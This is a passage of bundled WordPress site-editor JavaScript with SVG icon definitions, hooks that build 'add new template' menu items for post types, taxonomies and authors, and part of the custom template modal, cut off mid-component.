;// ./node_modules/@wordpress/icons/build-module/library/tag.js
/**
 * WordPress dependencies
 */


const tag = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z"
  })
});
/* harmony default export */ const library_tag = (tag);

;// ./node_modules/@wordpress/icons/build-module/library/media.js
/**
 * WordPress dependencies
 */


const media = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m7 6.5 4 2.5-4 2.5z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"
  })]
});
/* harmony default export */ const library_media = (media);

;// ./node_modules/@wordpress/icons/build-module/library/post.js
/**
 * WordPress dependencies
 */


const post_post = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"
  })
});
/* harmony default export */ const library_post = (post_post);

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/utils.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */

const EMPTY_OBJECT = {};

/**
 * @typedef IHasNameAndId
 * @property {string|number} id   The entity's id.
 * @property {string}        name The entity's name.
 */

const utils_getValueFromObjectPath = (object, path) => {
  let value = object;
  path.split('.').forEach(fieldName => {
    value = value?.[fieldName];
  });
  return value;
};

/**
 * Helper util to map records to add a `name` prop from a
 * provided path, in order to handle all entities in the same
 * fashion(implementing`IHasNameAndId` interface).
 *
 * @param {Object[]} entities The array of entities.
 * @param {string}   path     The path to map a `name` property from the entity.
 * @return {IHasNameAndId[]} An array of entities that now implement the `IHasNameAndId` interface.
 */
const mapToIHasNameAndId = (entities, path) => {
  return (entities || []).map(entity => ({
    ...entity,
    name: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(utils_getValueFromObjectPath(entity, path))
  }));
};

/**
 * @typedef {Object} EntitiesInfo
 * @property {boolean}  hasEntities         If an entity has available records(posts, terms, etc..).
 * @property {number[]} existingEntitiesIds An array of the existing entities ids.
 */

const useExistingTemplates = () => {
  return (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_POST_TYPE, {
    per_page: -1
  }), []);
};
const useDefaultTemplateTypes = () => {
  return (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types || [], []);
};
const usePublicPostTypes = () => {
  const postTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getPostTypes({
    per_page: -1
  }), []);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const excludedPostTypes = ['attachment'];
    return postTypes?.filter(({
      viewable,
      slug
    }) => viewable && !excludedPostTypes.includes(slug));
  }, [postTypes]);
};
const usePublicTaxonomies = () => {
  const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getTaxonomies({
    per_page: -1
  }), []);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    return taxonomies?.filter(({
      visibility
    }) => visibility?.publicly_queryable);
  }, [taxonomies]);
};
function usePostTypeArchiveMenuItems() {
  const publicPostTypes = usePublicPostTypes();
  const postTypesWithArchives = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.filter(postType => postType.has_archive), [publicPostTypes]);
  const existingTemplates = useExistingTemplates();
  // We need to keep track of naming conflicts. If a conflict
  // occurs, we need to add slug.
  const postTypeLabels = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
    labels
  }) => {
    const singularName = labels.singular_name.toLowerCase();
    accumulator[singularName] = (accumulator[singularName] || 0) + 1;
    return accumulator;
  }, {}), [publicPostTypes]);
  const needsUniqueIdentifier = (0,external_wp_element_namespaceObject.useCallback)(({
    labels,
    slug
  }) => {
    const singularName = labels.singular_name.toLowerCase();
    return postTypeLabels[singularName] > 1 && singularName !== slug;
  }, [postTypeLabels]);
  return (0,external_wp_element_namespaceObject.useMemo)(() => postTypesWithArchives?.filter(postType => !(existingTemplates || []).some(existingTemplate => existingTemplate.slug === 'archive-' + postType.slug)).map(postType => {
    let title;
    if (needsUniqueIdentifier(postType)) {
      title = (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
      (0,external_wp_i18n_namespaceObject.__)('Archive: %1$s (%2$s)'), postType.labels.singular_name, postType.slug);
    } else {
      title = (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Name of the post type e.g: "Post".
      (0,external_wp_i18n_namespaceObject.__)('Archive: %s'), postType.labels.singular_name);
    }
    return {
      slug: 'archive-' + postType.slug,
      description: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Name of the post type e.g: "Post".
      (0,external_wp_i18n_namespaceObject.__)('Displays an archive with the latest posts of type: %s.'), postType.labels.singular_name),
      title,
      // `icon` is the `menu_icon` property of a post type. We
      // only handle `dashicons` for now, even if the `menu_icon`
      // also supports urls and svg as values.
      icon: typeof postType.icon === 'string' && postType.icon.startsWith('dashicons-') ? postType.icon.slice(10) : library_archive,
      templatePrefix: 'archive'
    };
  }) || [], [postTypesWithArchives, existingTemplates, needsUniqueIdentifier]);
}
const usePostTypeMenuItems = onClickMenuItem => {
  const publicPostTypes = usePublicPostTypes();
  const existingTemplates = useExistingTemplates();
  const defaultTemplateTypes = useDefaultTemplateTypes();
  // We need to keep track of naming conflicts. If a conflict
  // occurs, we need to add slug.
  const templateLabels = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
    labels
  }) => {
    const templateName = (labels.template_name || labels.singular_name).toLowerCase();
    accumulator[templateName] = (accumulator[templateName] || 0) + 1;
    return accumulator;
  }, {}), [publicPostTypes]);
  const needsUniqueIdentifier = (0,external_wp_element_namespaceObject.useCallback)(({
    labels,
    slug
  }) => {
    const templateName = (labels.template_name || labels.singular_name).toLowerCase();
    return templateLabels[templateName] > 1 && templateName !== slug;
  }, [templateLabels]);

  // `page`is a special case in template hierarchy.
  const templatePrefixes = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
    slug
  }) => {
    let suffix = slug;
    if (slug !== 'page') {
      suffix = `single-${suffix}`;
    }
    accumulator[slug] = suffix;
    return accumulator;
  }, {}), [publicPostTypes]);
  const postTypesInfo = useEntitiesInfo('postType', templatePrefixes);
  const existingTemplateSlugs = (existingTemplates || []).map(({
    slug
  }) => slug);
  const menuItems = (publicPostTypes || []).reduce((accumulator, postType) => {
    const {
      slug,
      labels,
      icon
    } = postType;
    // We need to check if the general template is part of the
    // defaultTemplateTypes. If it is, just use that info and
    // augment it with the specific template functionality.
    const generalTemplateSlug = templatePrefixes[slug];
    const defaultTemplateType = defaultTemplateTypes?.find(({
      slug: _slug
    }) => _slug === generalTemplateSlug);
    const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
    const _needsUniqueIdentifier = needsUniqueIdentifier(postType);
    let menuItemTitle = labels.template_name || (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: Name of the post type e.g: "Post".
    (0,external_wp_i18n_namespaceObject.__)('Single item: %s'), labels.singular_name);
    if (_needsUniqueIdentifier) {
      menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Name of the template e.g: "Single Item: Post". 2: Slug of the post type e.g: "book".
      (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'post type menu label'), labels.template_name, slug) : (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Name of the post type e.g: "Post". 2: Slug of the post type e.g: "book".
      (0,external_wp_i18n_namespaceObject._x)('Single item: %1$s (%2$s)', 'post type menu label'), labels.singular_name, slug);
    }
    const menuItem = defaultTemplateType ? {
      ...defaultTemplateType,
      templatePrefix: templatePrefixes[slug]
    } : {
      slug: generalTemplateSlug,
      title: menuItemTitle,
      description: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Name of the post type e.g: "Post".
      (0,external_wp_i18n_namespaceObject.__)('Displays a single item: %s.'), labels.singular_name),
      // `icon` is the `menu_icon` property of a post type. We
      // only handle `dashicons` for now, even if the `menu_icon`
      // also supports urls and svg as values.
      icon: typeof icon === 'string' && icon.startsWith('dashicons-') ? icon.slice(10) : library_post,
      templatePrefix: templatePrefixes[slug]
    };
    const hasEntities = postTypesInfo?.[slug]?.hasEntities;
    // We have a different template creation flow only if they have entities.
    if (hasEntities) {
      menuItem.onClick = template => {
        onClickMenuItem({
          type: 'postType',
          slug,
          config: {
            recordNamePath: 'title.rendered',
            queryArgs: ({
              search
            }) => {
              return {
                _fields: 'id,title,slug,link',
                orderBy: search ? 'relevance' : 'modified',
                exclude: postTypesInfo[slug].existingEntitiesIds
              };
            },
            getSpecificTemplate: suggestion => {
              const templateSlug = `${templatePrefixes[slug]}-${suggestion.slug}`;
              return {
                title: templateSlug,
                slug: templateSlug,
                templatePrefix: templatePrefixes[slug]
              };
            }
          },
          labels,
          hasGeneralTemplate,
          template
        });
      };
    }
    // We don't need to add the menu item if there are no
    // entities and the general template exists.
    if (!hasGeneralTemplate || hasEntities) {
      accumulator.push(menuItem);
    }
    return accumulator;
  }, []);
  // Split menu items into two groups: one for the default post types
  // and one for the rest.
  const postTypesMenuItems = (0,external_wp_element_namespaceObject.useMemo)(() => menuItems.reduce((accumulator, postType) => {
    const {
      slug
    } = postType;
    let key = 'postTypesMenuItems';
    if (slug === 'page') {
      key = 'defaultPostTypesMenuItems';
    }
    accumulator[key].push(postType);
    return accumulator;
  }, {
    defaultPostTypesMenuItems: [],
    postTypesMenuItems: []
  }), [menuItems]);
  return postTypesMenuItems;
};
const useTaxonomiesMenuItems = onClickMenuItem => {
  const publicTaxonomies = usePublicTaxonomies();
  const existingTemplates = useExistingTemplates();
  const defaultTemplateTypes = useDefaultTemplateTypes();
  // `category` and `post_tag` are special cases in template hierarchy.
  const templatePrefixes = (0,external_wp_element_namespaceObject.useMemo)(() => publicTaxonomies?.reduce((accumulator, {
    slug
  }) => {
    let suffix = slug;
    if (!['category', 'post_tag'].includes(slug)) {
      suffix = `taxonomy-${suffix}`;
    }
    if (slug === 'post_tag') {
      suffix = `tag`;
    }
    accumulator[slug] = suffix;
    return accumulator;
  }, {}), [publicTaxonomies]);
  // We need to keep track of naming conflicts. If a conflict
  // occurs, we need to add slug.
  const taxonomyLabels = publicTaxonomies?.reduce((accumulator, {
    labels
  }) => {
    const templateName = (labels.template_name || labels.singular_name).toLowerCase();
    accumulator[templateName] = (accumulator[templateName] || 0) + 1;
    return accumulator;
  }, {});
  const needsUniqueIdentifier = (labels, slug) => {
    if (['category', 'post_tag'].includes(slug)) {
      return false;
    }
    const templateName = (labels.template_name || labels.singular_name).toLowerCase();
    return taxonomyLabels[templateName] > 1 && templateName !== slug;
  };
  const taxonomiesInfo = useEntitiesInfo('taxonomy', templatePrefixes);
  const existingTemplateSlugs = (existingTemplates || []).map(({
    slug
  }) => slug);
  const menuItems = (publicTaxonomies || []).reduce((accumulator, taxonomy) => {
    const {
      slug,
      labels
    } = taxonomy;
    // We need to check if the general template is part of the
    // defaultTemplateTypes. If it is, just use that info and
    // augment it with the specific template functionality.
    const generalTemplateSlug = templatePrefixes[slug];
    const defaultTemplateType = defaultTemplateTypes?.find(({
      slug: _slug
    }) => _slug === generalTemplateSlug);
    const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
    const _needsUniqueIdentifier = needsUniqueIdentifier(labels, slug);
    let menuItemTitle = labels.template_name || labels.singular_name;
    if (_needsUniqueIdentifier) {
      menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Name of the template e.g: "Products by Category". 2s: Slug of the taxonomy e.g: "product_cat".
      (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'taxonomy template menu label'), labels.template_name, slug) : (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Name of the taxonomy e.g: "Category". 2: Slug of the taxonomy e.g: "product_cat".
      (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'taxonomy menu label'), labels.singular_name, slug);
    }
    const menuItem = defaultTemplateType ? {
      ...defaultTemplateType,
      templatePrefix: templatePrefixes[slug]
    } : {
      slug: generalTemplateSlug,
      title: menuItemTitle,
      description: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Name of the taxonomy e.g: "Product Categories".
      (0,external_wp_i18n_namespaceObject.__)('Displays taxonomy: %s.'), labels.singular_name),
      icon: block_meta,
      templatePrefix: templatePrefixes[slug]
    };
    const hasEntities = taxonomiesInfo?.[slug]?.hasEntities;
    // We have a different template creation flow only if they have entities.
    if (hasEntities) {
      menuItem.onClick = template => {
        onClickMenuItem({
          type: 'taxonomy',
          slug,
          config: {
            queryArgs: ({
              search
            }) => {
              return {
                _fields: 'id,name,slug,link',
                orderBy: search ? 'name' : 'count',
                exclude: taxonomiesInfo[slug].existingEntitiesIds
              };
            },
            getSpecificTemplate: suggestion => {
              const templateSlug = `${templatePrefixes[slug]}-${suggestion.slug}`;
              return {
                title: templateSlug,
                slug: templateSlug,
                templatePrefix: templatePrefixes[slug]
              };
            }
          },
          labels,
          hasGeneralTemplate,
          template
        });
      };
    }
    // We don't need to add the menu item if there are no
    // entities and the general template exists.
    if (!hasGeneralTemplate || hasEntities) {
      accumulator.push(menuItem);
    }
    return accumulator;
  }, []);
  // Split menu items into two groups: one for the default taxonomies
  // and one for the rest.
  const taxonomiesMenuItems = (0,external_wp_element_namespaceObject.useMemo)(() => menuItems.reduce((accumulator, taxonomy) => {
    const {
      slug
    } = taxonomy;
    let key = 'taxonomiesMenuItems';
    if (['category', 'tag'].includes(slug)) {
      key = 'defaultTaxonomiesMenuItems';
    }
    accumulator[key].push(taxonomy);
    return accumulator;
  }, {
    defaultTaxonomiesMenuItems: [],
    taxonomiesMenuItems: []
  }), [menuItems]);
  return taxonomiesMenuItems;
};
const USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX = {
  user: 'author'
};
const USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS = {
  user: {
    who: 'authors'
  }
};
function useAuthorMenuItem(onClickMenuItem) {
  const existingTemplates = useExistingTemplates();
  const defaultTemplateTypes = useDefaultTemplateTypes();
  const authorInfo = useEntitiesInfo('root', USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX, USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS);
  let authorMenuItem = defaultTemplateTypes?.find(({
    slug
  }) => slug === 'author');
  if (!authorMenuItem) {
    authorMenuItem = {
      description: (0,external_wp_i18n_namespaceObject.__)('Displays latest posts written by a single author.'),
      slug: 'author',
      title: 'Author'
    };
  }
  const hasGeneralTemplate = !!existingTemplates?.find(({
    slug
  }) => slug === 'author');
  if (authorInfo.user?.hasEntities) {
    authorMenuItem = {
      ...authorMenuItem,
      templatePrefix: 'author'
    };
    authorMenuItem.onClick = template => {
      onClickMenuItem({
        type: 'root',
        slug: 'user',
        config: {
          queryArgs: ({
            search
          }) => {
            return {
              _fields: 'id,name,slug,link',
              orderBy: search ? 'name' : 'registered_date',
              exclude: authorInfo.user.existingEntitiesIds,
              who: 'authors'
            };
          },
          getSpecificTemplate: suggestion => {
            const templateSlug = `author-${suggestion.slug}`;
            return {
              title: templateSlug,
              slug: templateSlug,
              templatePrefix: 'author'
            };
          }
        },
        labels: {
          singular_name: (0,external_wp_i18n_namespaceObject.__)('Author'),
          search_items: (0,external_wp_i18n_namespaceObject.__)('Search Authors'),
          not_found: (0,external_wp_i18n_namespaceObject.__)('No authors found.'),
          all_items: (0,external_wp_i18n_namespaceObject.__)('All Authors')
        },
        hasGeneralTemplate,
        template
      });
    };
  }
  if (!hasGeneralTemplate || authorInfo.user?.hasEntities) {
    return authorMenuItem;
  }
}

/**
 * Helper hook that filters all the existing templates by the given
 * object with the entity's slug as key and the template prefix as value.
 *
 * Example:
 * `existingTemplates` is: [ { slug: 'tag-apple' }, { slug: 'page-about' }, { slug: 'tag' } ]
 * `templatePrefixes` is: { post_tag: 'tag' }
 * It will return: { post_tag: ['apple'] }
 *
 * Note: We append the `-` to the given template prefix in this function for our checks.
 *
 * @param {Record<string,string>} templatePrefixes An object with the entity's slug as key and the template prefix as value.
 * @return {Record<string,string[]>} An object with the entity's slug as key and an array with the existing template slugs as value.
 */
const useExistingTemplateSlugs = templatePrefixes => {
  const existingTemplates = useExistingTemplates();
  const existingSlugs = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return Object.entries(templatePrefixes || {}).reduce((accumulator, [slug, prefix]) => {
      const slugsWithTemplates = (existingTemplates || []).reduce((_accumulator, existingTemplate) => {
        const _prefix = `${prefix}-`;
        if (existingTemplate.slug.startsWith(_prefix)) {
          _accumulator.push(existingTemplate.slug.substring(_prefix.length));
        }
        return _accumulator;
      }, []);
      if (slugsWithTemplates.length) {
        accumulator[slug] = slugsWithTemplates;
      }
      return accumulator;
    }, {});
  }, [templatePrefixes, existingTemplates]);
  return existingSlugs;
};

/**
 * Helper hook that finds the existing records with an associated template,
 * as they need to be excluded from the template suggestions.
 *
 * @param {string}                entityName                The entity's name.
 * @param {Record<string,string>} templatePrefixes          An object with the entity's slug as key and the template prefix as value.
 * @param {Record<string,Object>} additionalQueryParameters An object with the entity's slug as key and additional query parameters as value.
 * @return {Record<string,EntitiesInfo>} An object with the entity's slug as key and the existing records as value.
 */
const useTemplatesToExclude = (entityName, templatePrefixes, additionalQueryParameters = {}) => {
  const slugsToExcludePerEntity = useExistingTemplateSlugs(templatePrefixes);
  const recordsToExcludePerEntity = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return Object.entries(slugsToExcludePerEntity || {}).reduce((accumulator, [slug, slugsWithTemplates]) => {
      const entitiesWithTemplates = select(external_wp_coreData_namespaceObject.store).getEntityRecords(entityName, slug, {
        _fields: 'id',
        context: 'view',
        slug: slugsWithTemplates,
        ...additionalQueryParameters[slug]
      });
      if (entitiesWithTemplates?.length) {
        accumulator[slug] = entitiesWithTemplates;
      }
      return accumulator;
    }, {});
  }, [slugsToExcludePerEntity]);
  return recordsToExcludePerEntity;
};

/**
 * Helper hook that returns information about an entity having
 * records that we can create a specific template for.
 *
 * For example we can search for `terms` in `taxonomy` entity or
 * `posts` in `postType` entity.
 *
 * First we need to find the existing records with an associated template,
 * to query afterwards for any remaining record, by excluding them.
 *
 * @param {string}                entityName                The entity's name.
 * @param {Record<string,string>} templatePrefixes          An object with the entity's slug as key and the template prefix as value.
 * @param {Record<string,Object>} additionalQueryParameters An object with the entity's slug as key and additional query parameters as value.
 * @return {Record<string,EntitiesInfo>} An object with the entity's slug as key and the EntitiesInfo as value.
 */
const useEntitiesInfo = (entityName, templatePrefixes, additionalQueryParameters = EMPTY_OBJECT) => {
  const recordsToExcludePerEntity = useTemplatesToExclude(entityName, templatePrefixes, additionalQueryParameters);
  const entitiesHasRecords = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return Object.keys(templatePrefixes || {}).reduce((accumulator, slug) => {
      const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(({
        id
      }) => id) || [];
      accumulator[slug] = !!select(external_wp_coreData_namespaceObject.store).getEntityRecords(entityName, slug, {
        per_page: 1,
        _fields: 'id',
        context: 'view',
        exclude: existingEntitiesIds,
        ...additionalQueryParameters[slug]
      })?.length;
      return accumulator;
    }, {});
  }, [templatePrefixes, recordsToExcludePerEntity, entityName, additionalQueryParameters]);
  const entitiesInfo = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return Object.keys(templatePrefixes || {}).reduce((accumulator, slug) => {
      const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(({
        id
      }) => id) || [];
      accumulator[slug] = {
        hasEntities: entitiesHasRecords[slug],
        existingEntitiesIds
      };
      return accumulator;
    }, {});
  }, [templatePrefixes, recordsToExcludePerEntity, entitiesHasRecords]);
  return entitiesInfo;
};

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-template-modal-content.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const add_custom_template_modal_content_EMPTY_ARRAY = [];
function SuggestionListItem({
  suggestion,
  search,
  onSelect,
  entityForSuggestions
}) {
  const baseCssClass = 'edit-site-custom-template-modal__suggestions_list__list-item';
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
    render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      role: "option",
      className: baseCssClass,
      onClick: () => onSelect(entityForSuggestions.config.getSpecificTemplate(suggestion))
    }),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      size: "body",
      lineHeight: 1.53846153846 // 20px
      ,
      weight: 500,
      className: `${baseCssClass}__title`,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, {
        text: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(suggestion.name),
        highlight: search
      })
    }), suggestion.link && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      size: "body",
      lineHeight: 1.53846153846 // 20px
      ,
      className: `${baseCssClass}__info`,
      children: suggestion.link
    })]
  });
}
function useSearchSuggestions(entityForSuggestions, search) {
  const {
    config
  } = entityForSuggestions;
  const query = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    order: 'asc',
    context: 'view',
    search,
    per_page: search ? 20 : 10,
    ...config.queryArgs(search)
  }), [search, config]);
  const {
    records: searchResults,
    hasResolved: searchHasResolved
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(entityForSuggestions.type, entityForSuggestions.slug, query);
  const [suggestions, setSuggestions] = (0,external_wp_element_namespaceObject.useState)(add_custom_template_modal_content_EMPTY_ARRAY);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!searchHasResolved) {
      return;
    }
    let newSuggestions = add_custom_template_modal_content_EMPTY_ARRAY;
    if (searchResults?.length) {
      newSuggestions = searchResults;
      if (config.recordNamePath) {
        newSuggestions = mapToIHasNameAndId(newSuggestions, config.recordNamePath);
      }
    }
    // Update suggestions only when the query has resolved, so as to keep
    // the previous results in the UI.
    setSuggestions(newSuggestions);
  }, [searchResults, searchHasResolved]);
  return suggestions;
}
function SuggestionList({
  entityForSuggestions,
  onSelect
}) {
  const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)();
  const suggestions = useSearchSuggestions(entityForSuggestions, debouncedSearch);
  const {
    labels
  } = entityForSuggestions;
  const [showSearchControl, setShowSearchControl] = (0,external_wp_element_namespaceObject.useState)(false);
  if (!showSearchControl && suggestions?.length > 9) {
    setShowSearchControl(true);
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [showSearchControl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
      __nextHasNoMarginBottom: true,
      onChange: setSearch,
      value: search,
      label: labels.search_items,
      placeholder: labels.search_items
    }), !!suggestions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
      orientation: "vertical",
      role: "listbox",
      className: "edit-site-custom-template-modal__suggestions_list",
      "aria-label": (0,external_wp_i18n_namespaceObject.__)('Suggestions list'),
      children: suggestions.map(suggestion => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SuggestionListItem, {
        suggestion: suggestion,
        search: debouncedSearch,
        onSelect: onSelect,
        entityForSuggestions: entityForSuggestions
      }, suggestion.slug))
    }), debouncedSearch && !suggestions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      as: "p",
      className: "edit-site-custom-template-modal__no-results",
      children: labels.not_found
    })]
  });
}
function AddCustomTemplateModalContent({
  onSelect,
  entityForSuggestions
}) {
  const [showSearchEntities, setShowSearchEntities] = (0,external_wp_element_namespaceObject.useState)(entityForSuggestions.hasGeneralTemplate);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 4,
    className: "edit-site-custom-template-modal__contents-wrapper",
    alignment: "left",
    children: [!showSearchEntities && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        as: "p",
        children: (0,external_wp_i18n_namespaceObject.__)('Select whether to create a single template for all items or a specific one.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
        className: "edit-site-custom-template-modal__contents",
        gap: "4",
        align: "initial",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
          isBlock: true,
          as: external_wp_components_namespaceObject.Button,
          onClick: () => {
            const {
              slug,
              title,
              description,
              templatePrefix
            } = entityForSuggestions.template;
            onSelect({
              slug,
              title,
              description,
              templatePrefix
            });
          },
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            as: "span",
            weight: 500,
            lineHeight: 1.53846153846 // 20px
            ,
            children: entityForSuggestions.labels.all_items
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            as: "span",
            lineHeight: 1.53846153846 // 20px
            ,
            children:
            // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
            (0,external_wp_i18n_namespaceObject.__)('For all items')
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
          isBlock: true,
          as: external_wp_components_namespaceObject.Button,
          onClick: () => {
            setShowSearchEntities(true);
          },
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            as: "span",
            weight: 500,
            lineHeight: 1.53846153846 // 20px
            ,
            children: entityForSuggestions.labels.singular_name
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            as: "span",
            lineHeight: 1.53846153846 // 20px
            ,
            children:
            // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
            (0,external_wp_i18n_namespaceObject.__)('For a specific item')
          })]
        })]
      })]
    }), showSearchEntities && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        as: "p",
